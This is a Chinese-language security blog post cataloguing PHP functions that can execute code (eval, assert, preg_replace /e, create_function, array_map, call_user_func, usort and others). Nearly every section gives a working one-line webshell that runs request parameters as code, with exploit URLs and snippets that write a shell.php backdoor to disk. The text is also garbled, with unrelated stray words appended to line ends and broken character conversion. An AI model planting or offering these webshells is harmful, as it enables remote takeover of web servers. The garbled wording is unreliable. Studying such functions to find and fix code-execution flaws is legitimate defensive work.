PHP中能夠執行代碼的函數,經常使用於編寫一句話木馬,可能致使代碼執行漏洞,這裏對代碼執行函數作一些概括。php
常見代碼執行函數,如 html
eval()、assert()、preg_replace()、create_function()正則表達式
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()shell
文件操做函數、動態函數($a($b))數組
一、eval() 安全
eval() 函數把字符串按照 PHP 代碼來計算,如常見的一句話後門程序:<?php eval($_POST[cmd])?>微信
二、assert()函數
與eval相似,字符串被 assert() 當作 PHP 代碼來執行,如:spa
示例代碼:rest
<?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>
三、preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement進行替換。
preg_replace()函數本來是執行一個正則表達式的搜索和替換,但由於存在危險的/e修飾符,使 preg_replace() 將 replacement 參數看成 PHP 代碼
示例代碼:
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
四、create_function()
create_function主要用來建立匿名函數,若是沒有嚴格對參數傳遞進行過濾,攻擊者能夠構造特殊字符串傳遞給create_function()執行任意命令。
代碼示例:
<?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>
參考連接:
代碼安全:PHP create_function()注入命令執行漏洞
http://www.cnseay.com/1901/
http://lovexm.blog.51cto.com/3567383/1743442
http://qqhack8.blog.163.com/blog/static/11414798520153795157139/
五、array_map()
array_map() 函數將用戶自定義函數做用到數組中的每一個值上,並返回用戶自定義函數做用後的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。
代碼示例:
<?php //?func=system&cmd=whoami $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>
六、call_user_func()/call_user_func_array ()
call_user_func — 把第一個參數做爲回調函數調用,其他參數是回調函數的參數。
call_user_func_array — 調用回調函數,並把一個數組參數做爲回調函數的參數
<?php //?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?> <?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>
七、array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次將 array 數組中的每一個值傳遞到 callback 函數。若是 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。
<?php //?func=system&cmd=whoami $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>
八、usort()、uasort()
usort() 經過用戶自定義的比較函數對數組進行排序。
uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。
代碼示例:
php環境>=5.6才能用 <?php usort(...$_GET);?> 利用方式: test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert [POST]:x=phpinfo(); php環境>=<5.6才能用 <?php usort($_GET,'asse'.'rt');?> 利用方式: test.php?1=1+1&2=eval($_POST[x]) [POST]:x=phpinfo();
源自:https://www.wd0g.com/?p=190
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
九、文件操做函數
file_put_contents() 函數把一個字符串寫入文件中。
fputs() 函數寫入文件
代碼示例:
<?php $test='<?php eval($_POST[cmd]);?>'; file_put_contents('test1.php',$test); ?> <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); ?>
十、動態函數
PHP函數直接由字符串拼接
代碼示例:
<?php //?a=assert&b=phpinfo() $_GET['a']($_GET['b']); ?>
最後
歡迎關注我的微信公衆號:Bypass--,每週原創一篇技術乾貨。